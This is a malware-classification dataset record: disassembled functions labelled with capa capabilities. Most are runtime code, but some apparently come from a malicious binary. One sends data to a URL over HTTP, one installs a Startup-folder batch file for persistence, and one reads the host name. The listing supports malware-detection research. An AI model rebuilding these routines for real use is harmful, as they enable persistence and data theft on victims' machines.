joyce8/EMBER2024-capa huggingface dataset:
Function at 0x301b4a800
Capabilities:
Hash data using murmur3

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
cmp byte [0x301c6a4cc], 0
jne 0x301b4a8ef
mov rdx, qword [rax + 0x50]
test byte [rdx], al
nop
nop
nop
sub rbx, qword [rax + 0x18]
mov esi, dword [rax + 0x5c]
imul rbx, rsi
mov rsi, rbx
shr rbx, 0x20
shr rsi, 0x23
and ebx, 7
mov rdi, rcx
mov rcx, rbx
mov r8d, 1
shl r8d, cl
add rdx, rsi
lock or byte [rdx], r8b
nop
nop
mov rcx, qword [rax + 0x18]
nop
movabs rdx, 0x800000000000
lea rax, [rdx + rcx]
mov rdx, rax
shr rax, 0x2a
cmp rax, 0x40
jae 0x301b4a8e5
lea rbx, [0x301c3c910]
mov rax, qword [rbx + rax*8]
shr rdx, 0x16
and edx, 0xfffff
mov rdx, qword [rax + rdx*8]
test byte [rdx], al
test byte [rax], al
mov rax, rcx
shr rcx, 0x10
and ecx, 0x3f
movzx ebx, byte [rdx + rcx + 0x11440]
lea rdx, [rdx + rcx]
lea rdx, [rdx + 0x11440]
shr rax, 0xd
and eax, 7
mov rcx, rax
mov eax, 1
shl eax, cl
test al, bl
jne 0x301b4a8c7
lock or byte [rdx], al
mov rax, qword [r14 + 0x30]
mov rax, qword [rax + 0xa0]
test byte [rax], al
add qword [rax + 0x1248], rdi
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov ecx, 0x40
call fcn.301b893a0
lea rax, [0x301bb63ae]
mov ebx, 0x2c
nop dword [rax + rax]
call fcn.301b60480
nop
int3

Function at 0x301b4cce0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x301b4cdde
sub rsp, 0x48
mov qword [rsp + 0x40], rbp
lea rbp, [rsp + 0x40]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rbx
mov qword [rsp + 8], 0
jmp 0x301b4cd20
mov rax, qword [rsp + 0x50]
mov rcx, rdx
mov rbx, qword [rsp + 0x58]
nop
cmp qword [rsp + 8], rbx
jae 0x301b4cdcf
test byte [rax], al
lea rcx, [rax + 0x100b8]
mov rax, rcx
call fcn.301b4d8a0
nop dword [rax]
test rax, rax
je 0x301b4cdcf
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x20], xmm15
movups xmmword [rsp + 0x30], xmm15
lea rcx, [0x301b4ce20]
mov qword [rsp + 0x10], rcx
lea rdx, [rsp + 8]
mov qword [rsp + 0x18], rdx
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rbx, [rsp + 0x10]
mov qword [rsp], rbx
call fcn.301b86be0
xorps xmm15, xmm15
mov r14, qword [0x301c6a6a0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rdx, qword [rsp + 0x60]
test rdx, rdx
jne 0x301b4cdbd
xor eax, eax
jmp 0x301b4cdc7
mov rax, qword [rdx]
call rax
mov rdx, qword [rsp + 0x60]
test al, al
je 0x301b4cd12
mov rax, qword [rsp + 8]
mov rbp, qword [rsp + 0x40]
add rsp, 0x48
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call fcn.301b86d20
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp fcn.301b4cce0
Function at 0x301b5a200
Capabilities:
Hash data using murmur3

Disassembly:
cmp rsp, qword [r14 + 0x18]
jbe 0x301b5a4a6
sub rsp, 0x40
mov qword [rsp + 0x38], rbp
lea rbp, [rsp + 0x38]
test byte [rax], al
lea rsi, [rax + 0x1270]
mov rcx, qword [rax + 0x1260]
sub rcx, rsi
shr rcx, 3
cmp rcx, 0x200
ja 0x301b5a49a
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], rcx
mov qword [rax + 0x1260], 0
cmp byte [0x301c6a4cc], 0
jne 0x301b5a262
xor edx, edx
xor ebx, ebx
nop
jmp 0x301b5a2aa
xor edx, edx
jmp 0x301b5a28d
mov qword [rsp + 0x28], rdx
mov rcx, qword [rax + rdx*8 + 0x1270]
mov rax, rcx
call fcn.301b4a020
mov rdx, qword [rsp + 0x28]
inc rdx
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
cmp rdx, rcx
jl 0x301b5a266
add rax, 0x1260
call fcn.301b5a0c0
mov rbp, qword [rsp + 0x38]
add rsp, 0x40
ret
inc rdx
cmp rdx, rcx
jge 0x301b5a434
mov rsi, qword [rax + rdx*8 + 0x1270]
nop dword [rax + rax]
cmp rsi, 0x1000
jb 0x301b5a2a7
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rbx
mov rax, rsi
xor ebx, ebx
mov rcx, rbx
nop dword [rax + rax]
call fcn.301b3fdc0
test rax, rax
jne 0x301b5a302
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
nop
jmp 0x301b5a2a7
mov rsi, qword [rbx + 0x50]
test byte [rsi], al
nop
mov r8, rcx
shr rcx, 3
movzx r9d, byte [rsi + rcx]
and r8d, 7
mov rdx, rcx
mov rcx, r8
mov r10d, 1
shl r10d, cl
add rsi, rdx
test r10b, r9b
je 0x301b5a349
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
jmp 0x301b5a2a7
nop
lock or byte [rsi], r10b
nop
nop
mov rcx, qword [rbx + 0x18]
nop
movabs rsi, 0x800000000000
lea r8, [rsi + rcx]
mov r9, r8
shr r8, 0x2a
cmp r8, 0x40
jae 0x301b5a48d
lea r10, [0x301c3c910]
mov r8, qword [r10 + r8*8]
shr r9, 0x16
and r9d, 0xfffff
mov r9, qword [r8 + r9*8]
test byte [r9], al
test byte [r8], al
mov r8, rcx
shr rcx, 0x10
and ecx, 0x3f
movzx r10d, byte [r9 + rcx + 0x11440]
lea r9, [r9 + rcx]
lea r9, [r9 + 0x11440]
shr r8, 0xd
and r8d, 7
mov rcx, r8
mov r8d, 1
shl r8d, cl
test r8b, r10b
jne 0x301b5a3cf
lock or byte [r9], r8b
movzx r8d, byte [rbx + 0x62]
test r8b, 1
je 0x301b5a405
mov rax, qword [rsp + 0x48]
mov r8, qword [rax + 0x1248]
add r8, qword [rbx + 0x68]
mov qword [rax + 0x1248], r8
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
jmp 0x301b5a2a7
mov r8, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
cmp r8, rcx
jae 0x301b5a485
mov rbx, qword [rsp + 0x48]
mov qword [rbx + r8*8 + 0x1270], rax
inc r8
mov rax, rbx
mov rdx, qword [rsp + 0x28]
mov rbx, r8
jmp 0x301b5a2a7
cmp rbx, 0x200
ja 0x301b5a478
lea rdx, [rax + 0x1270]
lea rsi, [rax + 0x1238]
mov rcx, rbx
mov edi, 0x200
mov rbx, rdx
mov rax, rsi
call fcn.301b501a0
mov rax, qword [rsp + 0x48]
add rax, 0x1260
call fcn.301b5a0c0
mov rbp, qword [rsp + 0x38]
add rsp, 0x40
ret
mov rcx, rbx
mov edx, 0x200
call fcn.301b89400
mov rax, r8
call fcn.301b89380
mov rax, r8
mov ecx, 0x40
call fcn.301b893a0
mov edx, 0x200
nop
call fcn.301b893e0
nop
mov qword [rsp + 8], rax
call fcn.301b8b780
mov rax, qword [rsp + 8]
jmp fcn.301b5a200
Function at 0x301b6e880
Capabilities:
Encode data using base64

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x301b6e9ea
sub rsp, 0x20
mov qword [rsp + 0x18], rbp
lea rbp, [rsp + 0x18]
mov ecx, dword [rax + 0x190]
mov edx, dword [rax + 0x194]
mov rsi, qword [rax + 0x998]
mov edi, dword [rax + 0x194]
cmp edi, edx
jne 0x301b6e898
cmp edx, ecx
jne 0x301b6e9d8
nop dword [rax]
test rsi, rsi
jne 0x301b6e9d8
mov qword [rsp + 0x28], rax
test rbx, rbx
jne 0x301b6e8f4
nop
call fcn.301b8ad40
xorps xmm15, xmm15
mov r14, qword [0x301c6a6a0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rbx, qword [rsp]
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x10], rbx
call fcn.301b6e780
mov rcx, qword [0x301c177d8]
mov rdx, qword [0x301c177d0]
mov rbx, qword [rsp + 0x28]
mov esi, dword [rbx]
mov edi, esi
sar esi, 0x1f
shr esi, 0x1b
add esi, edi
mov r8d, esi
and esi, 0xffffffe0
sub edi, esi
test edi, edi
jl 0x301b6e9d3
cmp edi, 0x20
sbb esi, esi
sar r8d, 5
mov rax, rcx
mov ecx, edi
mov r9d, 1
shl r9d, cl
and r9d, esi
movsxd rsi, r8d
cmp rax, rsi
jbe 0x301b6e9c8
lea rcx, [rdx + rsi*4]
lock or dword [rcx], r9d
mov rcx, qword [0x301c181d0]
mov qword [rbx + 8], rcx
nop
mov rcx, rbx
mov qword [0x301c181d0], rbx
nop
mov edx, 1
lea rsi, [0x301c181d8]
lock xadd dword [rsi], edx
mov rdx, qword [rcx + 0x1220]
shr rdx, 0x3d
test dl, dl
jne 0x301b6e9b7
nop
nop
mov rax, qword [rsp + 0x10]
movabs rdx, 0x1fffffffffffffff
and rdx, rax
bts rdx, 0x3f
xchg qword [rcx + 0x1220], rdx
mov rbp, qword [rsp + 0x18]
add rsp, 0x20
ret
lea rax, [0x301bb5e1e]
mov ebx, 0x28
call fcn.301b60480
mov rcx, rax
mov rax, rsi
call fcn.301b89380
call fcn.301b5eb40
lea rax, [0x301bb5582]
mov ebx, 0x23
call fcn.301b60480
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.301b86d20
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.301b6e880
Function at 0x301b78960
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov qword [rsp + 0x20], rax
test rbx, rbx
jbe 0x301b78ad8
movzx edx, byte [rax]
nop
test edx, edx
jne 0x301b7899c
test r8b, r8b
jne 0x301b7899c
xor eax, eax
xor ebx, ebx
mov rcx, rbx
xor edi, edi
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
bt edx, 7
jae 0x301b789af
xor edx, edx
xor r8d, r8d
xor r9d, r9d
jmp 0x301b78a98
mov r8d, 1
mov r9d, edx
and edx, 1
neg edx
shr r9d, 1
xor edx, r9d
add dword [rsi], edx
cmp rbx, r8
jb 0x301b78a86
sub rbx, r8
sub rcx, r8
mov rdx, rcx
neg rcx
sar rcx, 0x3f
and r8, rcx
lea rsi, [rax + r8]
test rbx, rbx
jbe 0x301b78a7c
movzx r8d, byte [rax + r8]
bt r8d, 7
jae 0x301b78a03
xor eax, eax
xor ecx, ecx
xor r8d, r8d
jmp 0x301b78a46
mov eax, 1
cmp rax, rbx
ja 0x301b78a35
add qword [rdi], r8
sub rdx, rax
sub rbx, rax
mov rcx, rdx
neg rdx
sar rdx, 0x3f
and rax, rdx
add rax, rsi
mov edi, 1
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov rcx, rbx
call fcn.301b89440
lea r8d, [rcx + 7]
mov ecx, eax
mov eax, r10d
cmp rax, rbx
jae 0x301b78a74
movzx r9d, byte [rax + rsi]
lea r10d, [rax + 1]
mov r11d, r9d
and r9d, 0x7f
mov eax, ecx
mov ecx, r8d
shl r9d, cl
or eax, r9d
test r11b, 0x80
jne 0x301b78a3d
mov r8d, eax
mov eax, r10d
jmp 0x301b78a08
mov rcx, rbx
call fcn.301b89380
xor eax, eax
mov rcx, rax
call fcn.301b89380
mov eax, r8d
mov rcx, rbx
call fcn.301b89440
lea r9d, [rcx + 7]
mov rcx, r12
cmp rbx, rdx
jbe 0x301b78ace
movzx r10d, byte [rdx + rax]
inc edx
mov r11d, r10d
and r10d, 0x7f
mov r12, rcx
mov ecx, r9d
shl r10d, cl
or r8d, r10d
test r11b, 0x80
jne 0x301b78a91
mov rcx, r12
mov r9d, edx
mov edx, r8d
mov r8d, r9d
jmp 0x301b789b5
mov eax, edx
mov rcx, rbx
call fcn.301b89380
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.301b89380
nop
int3
Function at 0x301b80180
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x301b80239
sub rsp, 0x60
mov qword [rsp + 0x58], rbp
lea rbp, [rsp + 0x58]
mov qword [rsp + 0x70], rbx
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rdx, [0x301b80280]
mov qword [rsp + 0x10], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x18], rdx
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x20], rdx
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x28], rdx
mov rdx, r14
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.301b86be0
xorps xmm15, xmm15
mov r14, qword [0x301c6a6a0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
mov rbp, qword [rsp + 0x58]
add rsp, 0x60
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.301b86d20
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.301b80180
Function at 0x301b88de0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov eax, dword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x301c6a740]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d124b
mul rcx
nop
nop
xor rax, rdx
ret
cmp byte [0x301c6a4cb], 0
je 0x301b88e15
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x301c6aa80]
aesenc xmm0, xmmword [0x301c6aa90]
aesenc xmm0, xmmword [0x301c6aaa0]
movq rax, xmm0
ret
jmp 0x301b389e0

Function at 0x301b88e20
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x301c6a740]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
nop
nop
xor rax, rdx
ret
cmp byte [0x301c6a4cb], 0
je 0x301b88e56
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x301c6aa80]
aesenc xmm0, xmmword [0x301c6aa90]
aesenc xmm0, xmmword [0x301c6aaa0]
movq rax, xmm0
ret
jmp 0x301b38a40

Function at 0x301b9b670
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.301b9c4c0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.301b9c4c0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x301b9b6e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x301c6efa4]
test esi, esi
mov rbx, rcx
jle 0x301b9b810
mov rax, qword [0x301c6efa8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x301b9b72b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x301b9b7b5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x301b9b710
mov rcx, rbx
call fcn.301b9bf40
test rax, rax
mov rdi, rax
je 0x301b9b832
mov rax, qword [0x301c6efa8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.301b9c080
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x301c6efa8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x301b9b817
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x301b9b7ae
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x301b9b7c0
add dword [0x301c6efa4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x301c6efa8]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x301b9b7ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.301b9b670
nop dword [rax]
xor esi, esi
jmp 0x301b9b738
mov rax, qword [0x301c6efa8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.301b9b670
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.301b9b670
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x301b9bbb0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x301c6efe0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x301c6efc0]
test rbx, rbx
je 0x301b9bc0c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x301b9bc03
test rsi, rsi
je 0x301b9bc03
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x301b9bbe8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x301b9bf40
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x301c14640]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x301b9bf60
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x301b9bf68
ret
cmp word [r8 + 0x18], 0x20b
jne 0x301b9bf60
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x301b9bfbd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x301b9bfb4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x301b9bf60
add rax, 0x28
cmp rax, r9
jne 0x301b9bfa0
xor eax, eax
ret

Function at 0x301b9bfc0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x301c14640]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x301b9bfdf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x301b9bfe8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x301b9bfdf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x301b9c080
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x301c14640]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x301b9c09f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x301b9c0a8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001604
Capabilities:
Create http request
Send data

Disassembly:
push rbp
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.MyAgent
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x140001703
mov rax, qword [rbp + 0x20]
mov rcx, rax
call fcn.1400274b0
mov rdx, rax
mov rax, qword [rbp - 8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x1400016ab
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
jmp 0x140001704
mov rax, qword [rbp + 0x28]
mov rcx, rax
call fcn.140027610
mov ebx, eax
mov rax, qword [rbp + 0x28]
mov rcx, rax
call fcn.1400274b0
mov rdx, rax
mov rax, qword [rbp - 0x10]
mov r9d, 0
mov r8d, ebx
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetWriteFile]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
jmp 0x140001704
nop
add rsp, 0x48
pop rbx
pop rbp
ret
Function at 0x14000170b
Capabilities:
Query environment variable

Disassembly:
push rbp
push rbx
sub rsp, 0x2d8
lea rbp, [rsp + 0x80]
lea rax, str.APPDATA
mov rcx, rax
call sub.msvcrt.dll_getenv
mov qword [rbp + 0x248], rax
cmp qword [rbp + 0x248], 0
je 0x140001956
lea rax, [rbp + 0x20f]
mov qword [rbp + 0x240], rax
nop
nop
lea rcx, [rbp + 0x20f]
mov rdx, qword [rbp + 0x248]
lea rax, [rbp + 0x1e0]
mov r8, rcx
mov rcx, rax
call fcn.14009fbe0
lea rax, [rbp - 0x60]
lea rdx, [rbp + 0x1e0]
lea r8, str.MicrosoftWindowsStart_MenuProgramsStartup_
mov rcx, rax
call fcn.1400af5d0
lea rax, [rbp + 0x1e0]
mov rcx, rax
call fcn.1400a0140
lea rax, [rbp + 0x20f]
mov rcx, rax
call fcn.140090be0
nop
lea rax, [rbp + 0x237]
mov qword [rbp + 0x238], rax
nop
nop
lea rax, str.USERPROFILE
mov rcx, rax
call sub.msvcrt.dll_getenv
mov rdx, rax
lea rcx, [rbp + 0x237]
lea rax, [rbp + 0x210]
mov r8, rcx
mov rcx, rax
call fcn.14009fbe0
lea rax, [rbp - 0x40]
lea rdx, [rbp + 0x210]
lea r8, str.Downloads_trinitydroptop.exe
mov rcx, rax
call fcn.1400af5d0
lea rax, [rbp + 0x210]
mov rcx, rax
call fcn.1400a0140
lea rax, [rbp + 0x237]
mov rcx, rax
call fcn.140090be0
nop
lea rax, [rbp - 0x20]
lea rdx, [rbp - 0x60]
lea r8, str.trinitydroptop.bat
mov rcx, rax
call fcn.1400af6e0
lea rdx, [rbp - 0x20]
mov rax, rbp
mov r8d, 0x10
mov rcx, rax
call fcn.14008e440
mov rax, rbp
mov rcx, rax
call fcn.14008e0b0
test al, al
je 0x1400018e8
mov rax, rbp
lea rdx, str._echo_off_n
mov rcx, rax
call fcn.1400aef10
mov rax, rbp
lea rdx, str.start_____
mov rcx, rax
call fcn.1400aef10
mov rcx, rax
lea rax, [rbp - 0x40]
mov rdx, rax
call fcn.1400af210
mov rcx, rax
lea rax, [0x1400b809b]
mov rdx, rax
call fcn.1400aef10
mov rax, rbp
mov rcx, rax
call fcn.14008e070
lea rax, str.Persistence_mechanism_installed_successfully_at:
mov rdx, rax
mov rax, qword [str._k_v_]
mov rcx, rax
call fcn.1400aef10
mov rcx, rax
lea rax, [rbp - 0x20]
mov rdx, rax
call fcn.1400af210
mov rcx, rax
mov rax, qword [0x1400bdea0]
mov rdx, rax
call fcn.140071a10
jmp 0x140001922
lea rax, str.Failed_to_create_startup_file_at:
mov rdx, rax
mov rax, qword [str._i_v_]
mov rcx, rax
call fcn.1400aef10
mov rcx, rax
lea rax, [rbp - 0x20]
mov rdx, rax
call fcn.1400af210
mov rcx, rax
mov rax, qword [0x1400bdea0]
mov rdx, rax
call fcn.140071a10
mov rax, rbp
mov rcx, rax
call fcn.14008eb40
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400a0140
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400a0140
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a0140
jmp 0x140001a29
lea rax, str.Failed_to_determine_startup_directory.
mov rdx, rax
mov rax, qword [str._i_v_]
mov rcx, rax
call fcn.1400aef10
mov rcx, rax
mov rax, qword [0x1400bdea0]
mov rdx, rax
call fcn.140071a10
jmp 0x140001a29
add rsp, 0x2d8
pop rbx
pop rbp
ret
Function at 0x140001a33
Capabilities:
Get hostname

Disassembly:
push rbp
push rbx
sub rsp, 0x158
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov dword [rbp - 0x54], 0x104
lea rdx, [rbp - 0x54]
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetComputerNameA]
call rax
test eax, eax
setne al
test al, al
je 0x140001aad
lea rax, [rbp + 0xbe]
mov qword [rbp + 0xc8], rax
nop
nop
lea rcx, [rbp + 0xbe]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0xf0]
mov r8, rcx
mov rcx, rax
call fcn.14009fbe0
lea rax, [rbp + 0xbe]
mov rcx, rax
call fcn.140090be0
jmp 0x140001b2a
lea rax, [rbp + 0xbf]
mov qword [rbp + 0xc0], rax
nop
nop
lea rdx, [rbp + 0xbf]
mov rax, qword [rbp + 0xf0]
mov r8, rdx
lea rdx, str.Unknown
mov rcx, rax
call fcn.14009fbe0
lea rax, [rbp + 0xbf]
mov rcx, rax
call fcn.140090be0
jmp 0x140001b2a
mov rax, qword [rbp + 0xf0]
add rsp, 0x158
pop rbx
pop rbp
ret

Function at 0x14000be10
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400169d0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400169d0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]